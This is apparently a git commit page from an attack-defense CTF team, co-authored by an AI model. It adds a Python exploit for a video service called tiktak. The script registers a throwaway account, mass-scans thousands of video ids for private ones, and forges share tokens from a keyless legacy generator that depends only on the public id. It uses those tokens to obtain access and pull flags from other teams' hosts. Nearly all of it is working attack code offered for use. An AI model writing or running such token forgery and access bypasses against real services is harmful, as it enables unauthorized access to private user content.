sploits: форж legacy share-токена tiktak
Единственный рабочий вектор на данный момент: LFI закрыли уже все команды (проверил .1/.4/.5 -- везде 404), а keygen разобрали далеко не все. Токен считается только от video id: seed=(seed*17+42)%62 по алфавиту base62, 30 символов, ключа нет. Форжим -> POST /access пишет строку в access -> haveAccess() пропускает легально -> /watch отдаёт description, /vtt субтитры. Поиск целей: приватное видео выдаёт себя размытым превью. /feed показывает лишь 50 последних, а id растут ~500/мин из-за чужого флуда, поэтому чекерские ролики лежат на глубине в сотни-тысячи id. Сканируем 3000 id в 50 потоков; echo отдаёт статику только на GET (HEAD => 405), так что пробуем GET с Range: bytes=0-0 -- один байт вместо всего PNG. 6 отказов /access подряд => команда запатчена, выходим рано. Проверено вживую: 3 флага с 10.10.10.5, 1 с 10.10.10.1, на 10.10.10.4 корректно определился патч. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
Executable
+173
@@ -0,0 +1,173 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import sys
|
||||||
|
import re
|
||||||
|
import random
|
||||||
|
import requests
|
||||||
|
from concurrent.futures import ThreadPoolExecutor
|
||||||
|
|
||||||
|
USE_CUSTOM_USER_AGENT = False
|
||||||
|
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
||||||
|
|
||||||
|
USER_AGENTS = [
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
|
||||||
|
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
|
||||||
|
]
|
||||||
|
|
||||||
|
PORT = 5000
|
||||||
|
DEPTH = 3000 # id растут ~500/мин из-за флуда, приватные тонут глубоко
|
||||||
|
WORKERS = 50
|
||||||
|
MAX_FORGE_FAILS = 6 # столько подряд отказов /access => команда запатчена
|
||||||
|
WATCH_RX = re.compile(r"/watch/(\d+)")
|
||||||
|
FEED_RX = re.compile(r'src="[^"]*preview_(\d+)(_blured)?\.png"')
|
||||||
|
# echo отдаёт статику ТОЛЬКО на GET (HEAD => 405), поэтому пробуем GET,
|
||||||
|
# но с Range: качаем один байт вместо всего PNG.
|
||||||
|
PROBE_HEADERS = {"Range": "bytes=0-0"}
|
||||||
|
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||||
|
|
||||||
|
|
||||||
|
def legacy_token(vid):
|
||||||
|
"""Восстановлено из keygen/legacy/keygen.a (GenerateToken):
|
||||||
|
|
||||||
|
int seed = n;
|
||||||
|
for (i = 0; i < 30; i++) { seed = (seed*17 + 42) % 62; out[i] = alpha[seed]; }
|
||||||
|
|
||||||
|
Никакого ключа -- токен целиком выводится из публичного video id.
|
||||||
|
Состояние схлопывается в n%62 после первой итерации, так что на весь
|
||||||
|
сервис приходится всего 62 различных токена.
|
||||||
|
"""
|
||||||
|
seed = vid
|
||||||
|
out = []
|
||||||
|
for _ in range(30):
|
||||||
|
seed = (seed * 17 + 42) % 62
|
||||||
|
out.append(ALPHABET[seed])
|
||||||
|
return "".join(out)
|
||||||
|
|
||||||
|
|
||||||
|
def exploit(target_ip):
|
||||||
|
flags = set()
|
||||||
|
|
||||||
|
headers = {}
|
||||||
|
if USE_CUSTOM_USER_AGENT:
|
||||||
|
headers["User-Agent"] = random.choice(USER_AGENTS)
|
||||||
|
|
||||||
|
# -------------------------------------------------------------------------
|
||||||
|
# VULN: server/server.go handleAccess() + keygen/legacy/keygen.a
|
||||||
|
# if keygen.ValidateKey(key, vid) { s.db.AddAccess(ctx, vid, ac.GetId()) }
|
||||||
|
#
|
||||||
|
# Share-токен приватного видео считается ТОЛЬКО от video id, который виден
|
||||||
|
# в /feed. Форжим токен -> POST /access пишет строку в таблицу access ->
|
||||||
|
# haveAccess() пропускает нас легально -> /watch отдаёт description, а
|
||||||
|
# /vtt/?id=N субтитры. Обе точки, куда чекер кладёт флаг.
|
||||||
|
#
|
||||||
|
# Патч LFI на этот путь не влияет: сюда мы приходим с чистым числовым id
|
||||||
|
# и с настоящей записью о доступе.
|
||||||
|
# -------------------------------------------------------------------------
|
||||||
|
try:
|
||||||
|
s = requests.Session()
|
||||||
|
s.headers.update(headers)
|
||||||
|
base = f"http://{target_ip}:{PORT}"
|
||||||
|
|
||||||
|
# 1. нужен аккаунт: на /access висит RequiredMiddleware
|
||||||
|
login = "".join(random.choices("abcdefghijklmnopqrstuvwxyz", k=10))
|
||||||
|
r = s.post(f"{base}/register",
|
||||||
|
data={"login": login, "password": "pw123456"}, timeout=6)
|
||||||
|
if r.status_code not in (200, 302):
|
||||||
|
print(f"[-] {target_ip}: register -> {r.status_code}", file=sys.stderr, flush=True)
|
||||||
|
return flags
|
||||||
|
|
||||||
|
# 2. Приватное видео выдаёт себя размытым превью. /feed показывает лишь
|
||||||
|
# 50 последних, а id растут ~500/мин из-за чужого флуда, так что
|
||||||
|
# чекерские приватные ролики лежат на глубине в сотни-тысячи id.
|
||||||
|
# Сканируем диапазон параллельно, по одному байту на пробу.
|
||||||
|
feed = s.get(f"{base}/feed", timeout=6).text
|
||||||
|
ids = [int(x) for x in WATCH_RX.findall(feed)]
|
||||||
|
if not ids:
|
||||||
|
print(f"[!] {target_ip}: пустой /feed", file=sys.stderr, flush=True)
|
||||||
|
return flags
|
||||||
|
top = max(ids)
|
||||||
|
|
||||||
|
def is_private(vid):
|
||||||
|
try:
|
||||||
|
r = s.get(f"{base}/public/static/preview_{vid}_blured.png",
|
||||||
|
headers=PROBE_HEADERS, timeout=5)
|
||||||
|
return vid if r.status_code in (200, 206) else None
|
||||||
|
except requests.RequestException:
|
||||||
|
return None
|
||||||
|
|
||||||
|
span = range(top, max(0, top - DEPTH), -1)
|
||||||
|
with ThreadPoolExecutor(max_workers=WORKERS) as ex:
|
||||||
|
private = [v for v in ex.map(is_private, span) if v]
|
||||||
|
private.sort(reverse=True)
|
||||||
|
print(f"[*] {target_ip}: top={top}, приватных найдено {len(private)}",
|
||||||
|
file=sys.stderr, flush=True)
|
||||||
|
|
||||||
|
fails = 0
|
||||||
|
for vid in private:
|
||||||
|
try:
|
||||||
|
w = s.get(f"{base}/watch/{vid}", timeout=6)
|
||||||
|
except requests.RequestException:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if w.status_code == 200:
|
||||||
|
# публичное (или уже открытое) -- флаг всё равно может лежать тут
|
||||||
|
flags.update(FLAG_RX.findall(w.text))
|
||||||
|
continue
|
||||||
|
if w.status_code != 403:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# 403 => приватное и доступа нет: форжим токен
|
||||||
|
r = s.post(f"{base}/access",
|
||||||
|
data={"videoID": vid, "token": legacy_token(vid)},
|
||||||
|
timeout=6, allow_redirects=False)
|
||||||
|
if not r.headers.get("Location", "").endswith(f"/watch/{vid}"):
|
||||||
|
fails += 1
|
||||||
|
if fails >= MAX_FORGE_FAILS:
|
||||||
|
print(f"[!] {target_ip}: {fails} отказов подряд -- keygen запатчен",
|
||||||
|
file=sys.stderr, flush=True)
|
||||||
|
break
|
||||||
|
continue
|
||||||
|
fails = 0
|
||||||
|
|
||||||
|
found = set(FLAG_RX.findall(s.get(f"{base}/watch/{vid}", timeout=6).text))
|
||||||
|
found |= set(FLAG_RX.findall(
|
||||||
|
s.get(f"{base}/vtt/", params={"id": vid}, timeout=6).text))
|
||||||
|
if found:
|
||||||
|
flags.update(found)
|
||||||
|
print(f"[+] {target_ip}: видео {vid} -> {len(found)} флагов",
|
||||||
|
file=sys.stderr, flush=True)
|
||||||
|
|
||||||
|
except requests.RequestException as e:
|
||||||
|
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||||
|
# -------------------------------------------------------------------------
|
||||||
|
|
||||||
|
return flags
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
target_ip = sys.argv[1]
|
||||||
|
|
||||||
|
try:
|
||||||
|
found_flags = exploit(target_ip)
|
||||||
|
|
||||||
|
if found_flags is None:
|
||||||
|
found_flags = []
|
||||||
|
elif isinstance(found_flags, str):
|
||||||
|
found_flags = [found_flags]
|
||||||
|
|
||||||
|
for flag in found_flags:
|
||||||
|
clean_flag = str(flag).strip()
|
||||||
|
if FLAG_RX.fullmatch(clean_flag):
|
||||||
|
print(clean_flag, flush=True)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Reference in New Issue
Block a user